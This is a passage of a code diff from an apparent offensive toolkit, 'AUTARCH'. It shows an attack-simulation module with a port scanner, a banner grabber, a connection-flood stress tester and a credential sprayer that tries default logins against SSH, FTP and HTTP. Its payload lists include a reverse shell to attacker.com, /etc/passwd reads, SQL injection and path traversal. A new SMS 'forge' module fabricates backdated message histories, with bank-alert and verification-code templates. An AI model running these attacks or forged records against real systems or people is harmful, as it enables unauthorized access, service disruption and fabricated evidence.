feedback.append(f"{Colors.GREEN}+ Contains uppercase{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No uppercase letters{Colors.RESET}") + + if has_lower: + score += 1 + feedback.append(f"{Colors.GREEN}+ Contains lowercase{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No lowercase letters{Colors.RESET}") + + if has_digit: + score += 1 + feedback.append(f"{Colors.GREEN}+ Contains numbers{Colors.RESET}") + else: + feedback.append(f"{Colors.RED}- No numbers{Colors.RESET}") + + if has_special: + score += 2 + feedback.append(f"{Colors.GREEN}+ Contains special characters{Colors.RESET}") + else: + feedback.append(f"{Colors.YELLOW}~ No special characters{Colors.RESET}") + + # Common patterns + common_patterns = ['password', '123456', 'qwerty', 'letmein', 'admin', 'welcome', 'monkey', 'dragon'] + if password.lower() in common_patterns: + score = 0 + feedback.append(f"{Colors.RED}- Extremely common password!{Colors.RESET}") + + # Sequential characters + if any(password[i:i+3].lower() in 'abcdefghijklmnopqrstuvwxyz' for i in range(len(password)-2)): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains sequential letters{Colors.RESET}") + + if any(password[i:i+3] in '0123456789' for i in range(len(password)-2)): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains sequential numbers{Colors.RESET}") + + # Keyboard patterns + keyboard_patterns = ['qwerty', 'asdf', 'zxcv', '1qaz', '2wsx'] + for pattern in keyboard_patterns: + if pattern in password.lower(): + score -= 1 + feedback.append(f"{Colors.YELLOW}~ Contains keyboard pattern{Colors.RESET}") + break + + # Display results + for line in feedback: + print(f" {line}") + + print(f"\n{Colors.BOLD}Score: {max(0, score)}/10{Colors.RESET}") + + if score >= 8: + print(f"{Colors.GREEN}Strength: STRONG{Colors.RESET}") + elif score >= 5: + print(f"{Colors.YELLOW}Strength: MODERATE{Colors.RESET}") + else: + print(f"{Colors.RED}Strength: WEAK{Colors.RESET}") + + # Hash generation + print(f"\n{Colors.CYAN}Password Hashes:{Colors.RESET}") + print(f" MD5: {hashlib.md5(password.encode()).hexdigest()}") + print(f" SHA1: {hashlib.sha1(password.encode()).hexdigest()}") + print(f" SHA256: {hashlib.sha256(password.encode()).hexdigest()}") + + def port_scanner(self): + """TCP port scanner.""" + print(f"\n{Colors.BOLD}Port Scanner{Colors.RESET}") + + target = input(f"{Colors.WHITE}Enter target IP/hostname: {Colors.RESET}").strip() + if not target: + return + + port_range = input(f"{Colors.WHITE}Port range (e.g., 1-1000) [1-1024]: {Colors.RESET}").strip() or "1-1024" + + try: + start_port, end_port = map(int, port_range.split('-')) + except: + self.print_status("Invalid port range", "error") + return + + # Resolve hostname + try: + ip = socket.gethostbyname(target) + if ip != target: + print(f"\n{Colors.DIM}Resolved {target} to {ip}{Colors.RESET}") + except: + self.print_status(f"Could not resolve {target}", "error") + return + + print(f"\n{Colors.CYAN}Scanning {target} ports {start_port}-{end_port}...{Colors.RESET}\n") + + open_ports = [] + scanned = 0 + total = end_port - start_port + 1 + + for port in range(start_port, end_port + 1): + scanned += 1 + if scanned % 100 == 0: + print(f"\r{Colors.DIM}Progress: {scanned}/{total} ports scanned...{Colors.RESET}", end="") + + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(0.5) + + result = sock.connect_ex((ip, port)) + if result == 0: + open_ports.append(port) + sock.close() + + print(f"\r{' ' * 50}\r", end="") # Clear progress line + + if open_ports: + print(f"{Colors.GREEN}Open ports found:{Colors.RESET}\n") + services = { + 21: "ftp", 22: "ssh", 23: "telnet", 25: "smtp", 53: "dns", + 80: "http", 110: "pop3", 143: "imap", 443: "https", 445: "smb", + 3306: "mysql", 3389: "rdp", 5432: "postgresql", 8080: "http-proxy" + } + for port in open_ports: + service = services.get(port, "unknown") + print(f" {port:5}/tcp open {service}") + else: + print(f"{Colors.YELLOW}No open ports found in range{Colors.RESET}") + + print(f"\n{Colors.DIM}Scanned {total} ports{Colors.RESET}") + + def banner_grabber(self): + """Grab service banners.""" + print(f"\n{Colors.BOLD}Banner Grabber{Colors.RESET}") + + target = input(f"{Colors.WHITE}Enter target IP/hostname: {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Enter port [80]: {Colors.RESET}").strip() or "80" + + if not target: + return + + try: + port = int(port) + except: + self.print_status("Invalid port", "error") + return + + print(f"\n{Colors.CYAN}Grabbing banner from {target}:{port}...{Colors.RESET}\n") + + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(5) + sock.connect((target, port)) + + # Send HTTP request for web ports + if port in [80, 443, 8080, 8443]: + sock.send(b"HEAD / HTTP/1.1\r\nHost: " + target.encode() + b"\r\n\r\n") + else: + sock.send(b"\r\n") + + banner = sock.recv(1024).decode('utf-8', errors='ignore') + sock.close() + + if banner: + print(f"{Colors.GREEN}Banner:{Colors.RESET}") + for line in banner.split('\n')[:15]: + print(f" {line.strip()}") + else: + print(f"{Colors.YELLOW}No banner received{Colors.RESET}") + + except socket.timeout: + self.print_status("Connection timed out", "warning") + except ConnectionRefusedError: + self.print_status("Connection refused", "error") + except Exception as e: + self.print_status(f"Error: {e}", "error") + + def payload_generator(self): + """Generate various payloads for testing.""" + print(f"\n{Colors.BOLD}Payload Generator{Colors.RESET}") + print(f"{Colors.DIM}Generate test payloads for security testing{Colors.RESET}\n") + + print(f" {Colors.YELLOW}[1]{Colors.RESET} XSS Payloads") + print(f" {Colors.YELLOW}[2]{Colors.RESET} SQL Injection Payloads") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Command Injection Payloads") + print(f" {Colors.YELLOW}[4]{Colors.RESET} Path Traversal Payloads") + print(f" {Colors.YELLOW}[5]{Colors.RESET} SSTI Payloads") + print() + + choice = input(f"{Colors.WHITE}Select payload type: {Colors.RESET}").strip() + + payloads = { + "1": [ # XSS + '', + '', + '', + '">', + "'-alert(1)-'", + '', + '{{constructor.constructor("alert(1)")()}}', + ], + "2": [ # SQLi + "' OR '1'='1", + "' OR '1'='1' --", + "'; DROP TABLE users; --", + "1' ORDER BY 1--", + "1 UNION SELECT null,null,null--", + "' AND 1=1 --", + "admin'--", + ], + "3": [ # Command Injection + "; ls -la", + "| cat /etc/passwd", + "& whoami", + "`id`", + "$(whoami)", + "; ping -c 3 127.0.0.1", + "| nc -e /bin/sh attacker.com 4444", + ], + "4": [ # Path Traversal + "../../../etc/passwd", + "..\\..\\..\\windows\\system32\\config\\sam", + "....//....//....//etc/passwd", + "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd", + "..%252f..%252f..%252fetc/passwd", + "/etc/passwd%00", + ], + "5": [ # SSTI + "{{7*7}}", + "${7*7}", + "{{config}}", + "{{self.__class__.__mro__}}", + "<%= 7*7 %>", + "{{request.application.__globals__}}", + ], + } + + if choice in payloads: + names = { + "1": "XSS", "2": "SQL Injection", "3": "Command Injection", + "4": "Path Traversal", "5": "SSTI" + } + print(f"\n{Colors.CYAN}{names[choice]} Payloads:{Colors.RESET}\n") + for i, payload in enumerate(payloads[choice], 1): + print(f" [{i}] {payload}") + + def network_stress(self): + """Network stress test (controlled).""" + print(f"\n{Colors.BOLD}Network Stress Test{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have permission to test!{Colors.RESET}\n") + + target = input(f"{Colors.WHITE}Enter target IP: {Colors.RESET}").strip() + port = input(f"{Colors.WHITE}Enter target port: {Colors.RESET}").strip() + duration = input(f"{Colors.WHITE}Duration in seconds [5]: {Colors.RESET}").strip() or "5" + + if not target or not port: + return + + try: + port = int(port) + duration = int(duration) + if duration > 30: + duration = 30 + print(f"{Colors.YELLOW}Limited to 30 seconds max{Colors.RESET}") + except: + self.print_status("Invalid input", "error") + return + + confirm = input(f"\n{Colors.YELLOW}Start stress test against {target}:{port} for {duration}s? (yes/no): {Colors.RESET}").strip() + if confirm.lower() != 'yes': + return + + print(f"\n{Colors.CYAN}Starting stress test...{Colors.RESET}") + + import time + start_time = time.time() + connections = 0 + errors = 0 + + while time.time() - start_time < duration: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(1) + sock.connect((target, port)) + sock.send(b"X" * 1024) + sock.close() + connections += 1 + except: + errors += 1 + + if connections % 100 == 0: + print(f"\r{Colors.DIM}Connections: {connections}, Errors: {errors}{Colors.RESET}", end="") + + print(f"\n\n{Colors.GREEN}Test complete:{Colors.RESET}") + print(f" Connections attempted: {connections}") + print(f" Errors: {errors}") + print(f" Duration: {duration}s") + + # ==================== CREDENTIAL SPRAYER ==================== + + DEFAULT_USERNAMES = [ + 'admin', 'root', 'user', 'test', 'guest', 'administrator', 'ftp', + 'www', 'postgres', 'mysql', 'oracle', 'backup', 'operator', 'info', + 'support', 'webmaster', 'demo', 'pi', 'ubuntu', 'deploy', + ] + + DEFAULT_PASSWORDS = [ + 'password', '123456', 'admin', 'root', 'letmein', 'welcome', + 'changeme', 'test', 'guest', 'default', 'pass', 'qwerty', + '123456789', 'password1', '12345678', '1234', 'abc123', + 'monkey', 'master', 'dragon', + ] + + def credential_sprayer(self): + """Credential spraying against network services.""" + print(f"\n{Colors.BOLD}Credential Sprayer{Colors.RESET}") + print(f"{Colors.RED}WARNING: Only use on systems you own or have explicit authorization to test!{Colors.RESET}") + print(f"{Colors.DIM}Test common credentials against network services{Colors.RESET}") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}\n") + + # Protocol selection + print(f" {Colors.YELLOW}[1]{Colors.RESET} SSH") + print(f" {Colors.YELLOW}[2]{Colors.RESET} FTP") + print(f" {Colors.YELLOW}[3]{Colors.RESET} HTTP Basic Auth") + print() + + proto_choice = input(f"{Colors.WHITE}Select protocol: {Colors.RESET}").strip() + protocols = {'1': 'ssh', '2': 'ftp', '3': 'http'} + protocol = protocols.get(proto_choice) + if not protocol: + return + + default_ports = {'ssh': '22', 'ftp': '21', 'http': '80'} + target = input(f"{Colors.WHITE}Target IP/hostname: {Colors.RESET}").strip() + if not target: + return + + port = input(f"{Colors.WHITE}Port [{Colors.GREEN}{default_ports[protocol]}{Colors.WHITE}]: {Colors.RESET}").strip() or default_ports[protocol] + try: + port = int(port) + except ValueError: + self.print_status("Invalid port", "error") + return + + # Username source + print(f"\n{Colors.CYAN}Username source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + user_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + usernames = [] + if user_choice == '1': + usernames = self.DEFAULT_USERNAMES[:] + elif user_choice == '2': + user_input = input(f"{Colors.WHITE}Usernames (comma-separated): {Colors.RESET}").strip() + usernames = [u.strip() for u in user_input.split(',') if u.strip()] + elif user_choice == '3': + filepath = input(f"{Colors.WHITE}Username file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as f: + usernames = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not usernames: + self.print_status("No usernames provided", "error") + return + + # Password source + print(f"\n{Colors.CYAN}Password source:{Colors.RESET}") + print(f" {Colors.YELLOW}[1]{Colors.RESET} Built-in top 20") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Manual entry") + print(f" {Colors.YELLOW}[3]{Colors.RESET} File") + + pass_choice = input(f"{Colors.WHITE}Select: {Colors.RESET}").strip() + passwords = [] + if pass_choice == '1': + passwords = self.DEFAULT_PASSWORDS[:] + elif pass_choice == '2': + pass_input = input(f"{Colors.WHITE}Passwords (comma-separated): {Colors.RESET}").strip() + passwords = [p.strip() for p in pass_input.split(',') if p.strip()] + elif pass_choice == '3': + filepath = input(f"{Colors.WHITE}Password file path: {Colors.RESET}").strip() + try: + with open(filepath, 'r') as f: + passwords = [line.strip() for line in f if line.strip()] + except Exception as e: + self.print_status(f"Error reading file: {e}", "error") + return + + if not passwords: + self.print_status("No passwords provided", "error") + return + + # Delay and confirmation + delay = input(f"{Colors.WHITE}Delay between attempts (seconds) [{Colors.GREEN}1.0{Colors.WHITE}]: {Colors.RESET}").strip() or "1.0" + try: + delay = max(0.5, float(delay)) # Enforce minimum 0.5s + except ValueError: + delay = 1.0 + + total_combos = len(usernames) * len(passwords) + est_time = total_combos * delay + + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f" Protocol: {protocol.upper()}") + print(f" Target: {target}:{port}") + print(f" Usernames: {len(usernames)}") + print(f" Passwords: {len(passwords)}") + print(f" Combinations: {total_combos}") + print(f" Delay: {delay}s") + print(f" Est. time: {int(est_time)}s ({int(est_time/60)}m)") + print(f"{Colors.CYAN}{'─' * 50}{Colors.RESET}") + + confirm = input(f"\n{Colors.YELLOW}Start credential spray? (yes/no): {Colors.RESET}").strip().lower() + if confirm != 'yes': + return + + results = self._run_spray(protocol, target, port, usernames, passwords, delay) + + # Summary + print(f"\n{Colors.CYAN}{'─' * 50}{Colors.RESET}") + print(f"{Colors.BOLD}Spray Complete{Colors.RESET}") + print(f" Attempts: {total_combos}") + print(f" Successes: {Colors.GREEN}{len(results)}{Colors.RESET}") + + if results: + print(f"\n{Colors.GREEN}Valid Credentials:{Colors.RESET}") + for r in results: + print(f" {Colors.GREEN}[+]{Colors.RESET} {r['user']}:{r['password']}") + + def _spray_ssh(self, target: str, port: int, user: str, password: str) -> bool: + """Try SSH login with given credentials.""" + try: + import paramiko + client = paramiko.SSHClient() + client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) + client.connect(target, port=port, username=user, password=password, timeout=5, + allow_agent=False, look_for_keys=False) + client.close() + return True + except ImportError: + # Fallback to sshpass + success, _ = self.run_cmd( + f"sshpass -p '{password}' ssh -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p {port} {user}@{target} exit", + timeout=10 + ) + return success + except: + return False + + def _spray_ftp(self, target: str, port: int, user: str, password: str) -> bool: + """Try FTP login with given credentials.""" + try: + ftp = ftplib.FTP() + ftp.connect(target, port, timeout=5) + ftp.login(user, password) + ftp.quit() + return True + except: + return False + + def _spray_http_basic(self, target: str, port: int, user: str, password: str) -> bool: + """Try HTTP Basic Auth with given credentials.""" + try: + url = f"http://{target}:{port}/" + credentials = base64.b64encode(f"{user}:{password}".encode()).decode() + req = urllib.request.Request(url, headers={ + 'Authorization': f'Basic {credentials}', + 'User-Agent': 'Mozilla/5.0', + }) + with urllib.request.urlopen(req, timeout=5) as response: + return response.getcode() not in [401, 403] + except urllib.error.HTTPError as e: + return e.code not in [401, 403] + except: + return False + + def _run_spray(self, protocol: str, target: str, port: int, + usernames: list, passwords: list, delay: float = 1.0) -> list: + """Execute the credential spray.""" + spray_funcs = { + 'ssh': self._spray_ssh, + 'ftp': self._spray_ftp, + 'http': self._spray_http_basic, + } + + spray_func = spray_funcs.get(protocol) + if not spray_func: + self.print_status(f"Unsupported protocol: {protocol}", "error") + return [] + + successes = [] + attempt = 0 + max_attempts = 500 + + print(f"\n{Colors.CYAN}Starting spray...{Colors.RESET}\n") + + for user in usernames: + for password in passwords: + attempt += 1 + if attempt > max_attempts: + self.print_status(f"Max attempts ({max_attempts}) reached", "warning") + return successes + + print(f"\r{Colors.DIM} [{attempt}] Trying {user}:{password[:15]}...{Colors.RESET}", end='', flush=True) + + try: + result = spray_func(target, port, user, password) + if result: + print(f"\r{' ' * 60}\r {Colors.GREEN}[+] SUCCESS: {user}:{password}{Colors.RESET}") + successes.append({'user': user, 'password': password}) + except: + pass + + time.sleep(delay) + + print(f"\r{' ' * 60}\r", end='') + return successes + + def show_menu(self): + clear_screen() + display_banner() + + print(f"{Colors.YELLOW}{Colors.BOLD} Attack Simulation{Colors.RESET}") + print(f"{Colors.DIM} Red team exercises and testing{Colors.RESET}") + print(f"{Colors.DIM} {'─' * 50}{Colors.RESET}") + print() + print(f" {Colors.YELLOW}[1]{Colors.RESET} Password Audit") + print(f" {Colors.YELLOW}[2]{Colors.RESET} Port Scanner") + print(f" {Colors.YELLOW}[3]{Colors.RESET} Banner Grabber") + print(f" {Colors.YELLOW}[4]{Colors.RESET} Payload Generator") + print(f" {Colors.YELLOW}[5]{Colors.RESET} Network Stress Test") + print(f" {Colors.YELLOW}[6]{Colors.RESET} Credential Sprayer") + print() + print(f" {Colors.DIM}[0]{Colors.RESET} Back") + print() + + def run(self): + while True: + self.show_menu() + try: + choice = input(f"{Colors.WHITE} Select: {Colors.RESET}").strip() + + if choice == "0": + break + elif choice == "1": + self.password_audit() + elif choice == "2": + self.port_scanner() + elif choice == "3": + self.banner_grabber() + elif choice == "4": + self.payload_generator() + elif choice == "5": + self.network_stress() + elif choice == "6": + self.credential_sprayer() + + if choice in ["1", "2", "3", "4", "5", "6"]: + input(f"\n{Colors.WHITE}Press Enter to continue...{Colors.RESET}") + + except (EOFError, KeyboardInterrupt): + break + + +def run(): + Simulator().run() + + +if __name__ == "__main__": + run() diff --git a/modules/sms_forge.py b/modules/sms_forge.py new file mode 100644 index 0000000..f3c7e03 --- /dev/null +++ b/modules/sms_forge.py @@ -0,0 +1,1502 @@ +"""AUTARCH SMS/MMS Backup Forge + +Create and modify SMS/MMS backup XML files in the format used by +"SMS Backup & Restore" (SyncTech) -- the most popular Android SMS backup app. +Supports full conversation generation, template-based message creation, +bulk import/export, and timestamp manipulation. +""" + +DESCRIPTION = "SMS/MMS Backup Forge — Create & Modify Backup Conversations" +AUTHOR = "AUTARCH" +VERSION = "1.0" +CATEGORY = "offense" + +import os +import csv +import json +import uuid +import time +import base64 +import html +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional, Any +from xml.etree import ElementTree as ET + +try: + from core.paths import get_data_dir +except ImportError: + def get_data_dir(): + return Path(__file__).resolve().parent.parent / 'data' + + +# ── Module-level singleton ────────────────────────────────────────────────── + +_instance: Optional['SMSForge'] = None + + +def get_sms_forge() -> 'SMSForge': + """Return the module singleton, creating it on first call.""" + global _instance + if _instance is None: + _instance = SMSForge() + return _instance + + +# ── Built-in Conversation Templates ──────────────────────────────────────── + +BUILTIN_TEMPLATES = { + "business_meeting": { + "name": "Business Meeting", + "description": "Scheduling a meeting, confirming time and place", + "messages": [ + {"body": "Hi {contact}, are you available for a meeting on {date}?", "type": 2, "delay_minutes": 0}, + {"body": "Let me check my schedule. What time works for you?", "type": 1, "delay_minutes": 12}, + {"body": "How about {time} at {location}?", "type": 2, "delay_minutes": 5}, + {"body": "That works for me. I'll bring the {topic} documents.", "type": 1, "delay_minutes": 8}, + {"body": "Perfect. See you then!", "type": 2, "delay_minutes": 3}, + {"body": "See you there. Thanks for setting this up.", "type": 1, "delay_minutes": 2}, + ], + "variables": ["contact", "date", "time", "location", "topic"], + }, + "casual_chat": { + "name": "Casual Chat", + "description": "General friendly conversation between friends", + "messages": [ + {"body": "Hey {contact}! How's it going?", "type": 2, "delay_minutes": 0}, + {"body": "Hey! Pretty good, just got back from {activity}. You?", "type": 1, "delay_minutes": 15}, + {"body": "Nice! I've been {my_activity}. We should hang out soon.", "type": 2, "delay_minutes": 7}, + {"body": "Definitely! How about {day}?", "type": 1, "delay_minutes": 4}, + {"body": "Sounds great, let's do it. I'll text you the details later.", "type": 2, "delay_minutes": 3}, + {"body": "Cool, talk to you later!", "type": 1, "delay_minutes": 1}, + ], + "variables": ["contact", "activity", "my_activity", "day"], + }, + "delivery_notification": { + "name": "Delivery Notification", + "description": "Package tracking updates from a delivery service", + "messages": [ + {"body": "Your order #{order_id} has been shipped! Track at: {tracking_url}", "type": 1, "delay_minutes": 0}, + {"body": "Update: Your package is out for delivery today. Estimated arrival: {eta}.", "type": 1, "delay_minutes": 1440}, + {"body": "Your package has been delivered! Left at: {location}.", "type": 1, "delay_minutes": 360}, + ], + "variables": ["order_id", "tracking_url", "eta", "location"], + }, + "verification_codes": { + "name": "Verification Codes", + "description": "OTP/2FA codes from various services", + "messages": [ + {"body": "Your {service} verification code is: {code}. Do not share this code.", "type": 1, "delay_minutes": 0}, + {"body": "{service2} security code: {code2}. This code expires in 10 minutes.", "type": 1, "delay_minutes": 120}, + {"body": "Your {service3} login code is {code3}. If you didn't request this, ignore this message.", "type": 1, "delay_minutes": 240}, + ], + "variables": ["service", "code", "service2", "code2", "service3", "code3"], + }, + "bank_alerts": { + "name": "Bank Alerts", + "description": "Bank transaction notifications and alerts", + "messages": [ + {"body": "{bank}: Purchase of ${amount} at {merchant} on card ending {card_last4}. Balance: ${balance}.", "type": 1, "delay_minutes": 0}, + {"body": "{bank}: Direct deposit of ${deposit_amount} received. New balance: ${new_balance}.", "type": 1, "delay_minutes": 4320}, + {"body": "{bank} Alert: Unusual activity detected on your account. If this was not you, call {phone}.", "type": 1, "delay_minutes": 2880}, + {"body": "{bank}: Your scheduled payment of ${payment_amount} to {payee} has been processed.", "type": 1, "delay_minutes": 1440}, + ], + "variables": ["bank", "amount", "merchant", "card_last4", "balance", + "deposit_amount", "new_balance", "phone", + "payment_amount", "payee"], + }, + "custom": { + "name": "Custom", + "description": "Empty template for user-defined conversations", + "messages": [], + "variables": [], + }, +} + + +# ── SMS Forge Class ───────────────────────────────────────────────────────── + +class SMSForge: + """Create, modify, and export SMS/MMS backup XML files.""" + + def __init__(self): + self._data_dir = Path(get_data_dir()) / 'sms_forge' + self._data_dir.mkdir(parents=True, exist_ok=True) + self._messages: List[Dict[str, Any]] = [] + self._backup_set: str = self._generate_uuid() + self._backup_date: int = int(time.time() * 1000) + self._backup_type: str = "full" + self._custom_templates: Dict[str, dict] = {} + self._load_custom_templates() + + # ── Backup Management ─────────────────────────────────────────────────── + + def create_backup(self, messages: List[Dict[str, Any]], output_path: str) -> Dict[str, Any]: + """Create a new SMS Backup & Restore XML file from a list of message dicts. + + Each message dict should have at minimum: + address, body, type (for SMS) or msg_box (for MMS) + Optional: timestamp, contact_name, read, locked, attachments + """ + self._messages = [] + for msg in messages: + if msg.get('is_mms') or msg.get('attachments'): + self.add_mms( + address=msg.get('address', ''), + body=msg.get('body', ''), + attachments=msg.get('attachments', []), + msg_box=msg.get('msg_box', msg.get('type', 1)), + timestamp=msg.get('timestamp') or msg.get('date'), + contact_name=msg.get('contact_name', '(Unknown)'), + ) + else: + self.add_sms( + address=msg.get('address', ''), + body=msg.get('body', ''), + msg_type=msg.get('type', 1), + timestamp=msg.get('timestamp') or msg.get('date'), + contact_name=msg.get('contact_name', '(Unknown)'), + read=msg.get('read', 1), + locked=msg.get('locked', 0), + ) + return self.save_backup(output_path) + + def load_backup(self, xml_path: str) -> Dict[str, Any]: + """Parse existing backup XML into internal format.""" + path = Path(xml_path) + if not path.exists(): + return {'ok': False, 'error': f'File not found: {xml_path}'} + try: + tree = ET.parse(str(path)) + root = tree.getroot() + if root.tag != 'smses': + return {'ok': False, 'error': 'Invalid XML: root element must be '} + + self._backup_set = root.get('backup_set', self._generate_uuid()) + self._backup_date = int(root.get('backup_date', str(int(time.time() * 1000)))) + self._backup_type = root.get('type', 'full') + self._messages = [] + + for elem in root: + if elem.tag == 'sms': + msg = { + 'msg_kind': 'sms', + 'protocol': elem.get('protocol', '0'), + 'address': elem.get('address', ''), + 'date': int(elem.get('date', '0')), + 'type': int(elem.get('type', '1')), + 'subject': elem.get('subject', 'null'), + 'body': elem.get('body', ''), + 'toa': elem.get('toa', 'null'), + 'sc_toa': elem.get('sc_toa', 'null'), + 'service_center': elem.get('service_center', 'null'), + 'read': int(elem.get('read', '1')), + 'status': int(elem.get('status', '-1')), + 'locked': int(elem.get('locked', '0')), + 'sub_id': elem.get('sub_id', '-1'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + } + self._messages.append(msg) + elif elem.tag == 'mms': + msg = self._parse_mms_element(elem) + self._messages.append(msg) + + return { + 'ok': True, + 'count': len(self._messages), + 'backup_set': self._backup_set, + 'backup_date': self._backup_date, + } + except ET.ParseError as e: + return {'ok': False, 'error': f'XML parse error: {e}'} + except Exception as e: + return {'ok': False, 'error': str(e)} + + def _parse_mms_element(self, elem: ET.Element) -> Dict[str, Any]: + """Parse a single element into a dict.""" + msg: Dict[str, Any] = { + 'msg_kind': 'mms', + 'date': int(elem.get('date', '0')), + 'ct_t': elem.get('ct_t', 'application/vnd.wap.multipart.related'), + 'msg_box': int(elem.get('msg_box', '1')), + 'address': elem.get('address', ''), + 'sub': elem.get('sub', 'null'), + 'retr_st': elem.get('retr_st', 'null'), + 'd_tm': elem.get('d_tm', 'null'), + 'exp': elem.get('exp', 'null'), + 'locked': int(elem.get('locked', '0')), + 'm_id': elem.get('m_id', 'null'), + 'st': elem.get('st', 'null'), + 'retr_txt_cs': elem.get('retr_txt_cs', 'null'), + 'retr_txt': elem.get('retr_txt', 'null'), + 'creator': elem.get('creator', 'null'), + 'date_sent': elem.get('date_sent', '0'), + 'seen': int(elem.get('seen', '1')), + 'm_size': elem.get('m_size', 'null'), + 'rr': elem.get('rr', '129'), + 'sub_cs': elem.get('sub_cs', 'null'), + 'resp_st': elem.get('resp_st', 'null'), + 'ct_cls': elem.get('ct_cls', 'null'), + 'm_cls': elem.get('m_cls', 'personal'), + 'd_rpt': elem.get('d_rpt', '129'), + 'v': elem.get('v', '18'), + '_id': elem.get('_id', '1'), + 'tr_id': elem.get('tr_id', 'null'), + 'resp_txt': elem.get('resp_txt', 'null'), + 'ct_l': elem.get('ct_l', 'null'), + 'm_type': elem.get('m_type', '132'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + 'pri': elem.get('pri', '129'), + 'sub_id': elem.get('sub_id', '-1'), + 'text_only': elem.get('text_only', '0'), + 'parts': [], + 'addrs': [], + 'body': '', + } + + parts_elem = elem.find('parts') + if parts_elem is not None: + for part_elem in parts_elem.findall('part'): + part = { + 'seq': part_elem.get('seq', '0'), + 'ct': part_elem.get('ct', 'text/plain'), + 'name': part_elem.get('name', 'null'), + 'chset': part_elem.get('chset', 'null'), + 'cd': part_elem.get('cd', 'null'), + 'fn': part_elem.get('fn', 'null'), + 'cid': part_elem.get('cid', 'null'), + 'cl': part_elem.get('cl', 'null'), + 'ctt_s': part_elem.get('ctt_s', 'null'), + 'ctt_t': part_elem.get('ctt_t', 'null'), + 'text': part_elem.get('text', 'null'), + 'data': part_elem.get('data', 'null'), + } + msg['parts'].append(part) + # Extract body text from text/plain part + if part['ct'] == 'text/plain' and part['text'] != 'null': + msg['body'] = part['text'] + + addrs_elem = elem.find('addrs') + if addrs_elem is not None: + for addr_elem in addrs_elem.findall('addr'): + addr = { + 'address': addr_elem.get('address', ''), + 'type': addr_elem.get('type', '137'), + 'charset': addr_elem.get('charset', '106'), + } + msg['addrs'].append(addr) + + return msg + + def save_backup(self, output_path: str) -> Dict[str, Any]: + """Save current state to XML in SMS Backup & Restore format.""" + try: + xml_str = self._build_xml() + out = Path(output_path) + out.parent.mkdir(parents=True, exist_ok=True) + out.write_text(xml_str, encoding='utf-8') + return { + 'ok': True, + 'path': str(out), + 'count': len(self._messages), + 'size': out.stat().st_size, + } + except Exception as e: + return {'ok': False, 'error': str(e)} + + def merge_backups(self, paths: List[str]) -> Dict[str, Any]: + """Merge multiple backup files, deduplicating by date+address+body.""" + seen = set() + for msg in self._messages: + seen.add(self._dedup_key(msg)) + + added = 0 + errors = [] + for p in paths: + try: + tree = ET.parse(p) + root = tree.getroot() + if root.tag != 'smses': + errors.append(f'{p}: root element is not ') + continue + + for elem in root: + if elem.tag == 'sms': + key = f"{elem.get('date', '0')}|{elem.get('address', '')}|{elem.get('body', '')}" + if key not in seen: + seen.add(key) + msg = { + 'msg_kind': 'sms', + 'protocol': elem.get('protocol', '0'), + 'address': elem.get('address', ''), + 'date': int(elem.get('date', '0')), + 'type': int(elem.get('type', '1')), + 'subject': elem.get('subject', 'null'), + 'body': elem.get('body', ''), + 'toa': elem.get('toa', 'null'), + 'sc_toa': elem.get('sc_toa', 'null'), + 'service_center': elem.get('service_center', 'null'), + 'read': int(elem.get('read', '1')), + 'status': int(elem.get('status', '-1')), + 'locked': int(elem.get('locked', '0')), + 'sub_id': elem.get('sub_id', '-1'), + 'readable_date': elem.get('readable_date', ''), + 'contact_name': elem.get('contact_name', '(Unknown)'), + } + self._messages.append(msg) + added += 1 + elif elem.tag == 'mms': + mms_msg = self._parse_mms_element(elem) + key = self._dedup_key(mms_msg) + if key not in seen: + seen.add(key) + self._messages.append(mms_msg) + added += 1 + except Exception as e: + errors.append(f'{p}: {e}') + + self._messages.sort(key=lambda m: m.get('date', 0)) + result: Dict[str, Any] = { + 'ok': True, + 'total': len(self._messages), + 'added': added, + } + if errors: + result['errors'] = errors + return result + + def _dedup_key(self, msg: Dict[str, Any]) -> str: + """Generate a deduplication key from a message dict.""" + date_val = str(msg.get('date', '0')) + addr = msg.get('address', '') + body = msg.get('body', '') + if msg.get('msg_kind') == 'mms' and not body: + for part in msg.get('parts', []): + if part.get('ct') == 'text/plain' and part.get('text', 'null') != 'null': + body = part['text'] + break + return f"{date_val}|{addr}|{body}" + + def get_backup_stats(self) -> Dict[str, Any]: + """Return stats: message count, contacts, date range, SMS/MMS breakdown.""" + if not self._messages: + return { + 'total': 0, + 'sms_count': 0, + 'mms_count': 0, + 'contacts': [], + 'date_range': None, + 'sent': 0, + 'received': 0, + } + + sms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'sms') + mms_count = sum(1 for m in self._messages if m.get('msg_kind') == 'mms') + + contacts: Dict[str, Dict[str, Any]] = {} + for m in self._messages: + addr = m.get('address', '') + name = m.get('contact_name', '(Unknown)') + if addr not in contacts: + contacts[addr] = {'address': addr, 'name': name, 'count': 0} + contacts[addr]['count'] += 1 + + dates = [m.get('date', 0) for m in self._messages if m.get('date', 0) > 0] + date_range = None + if dates: + date_range = { + 'earliest': min(dates), 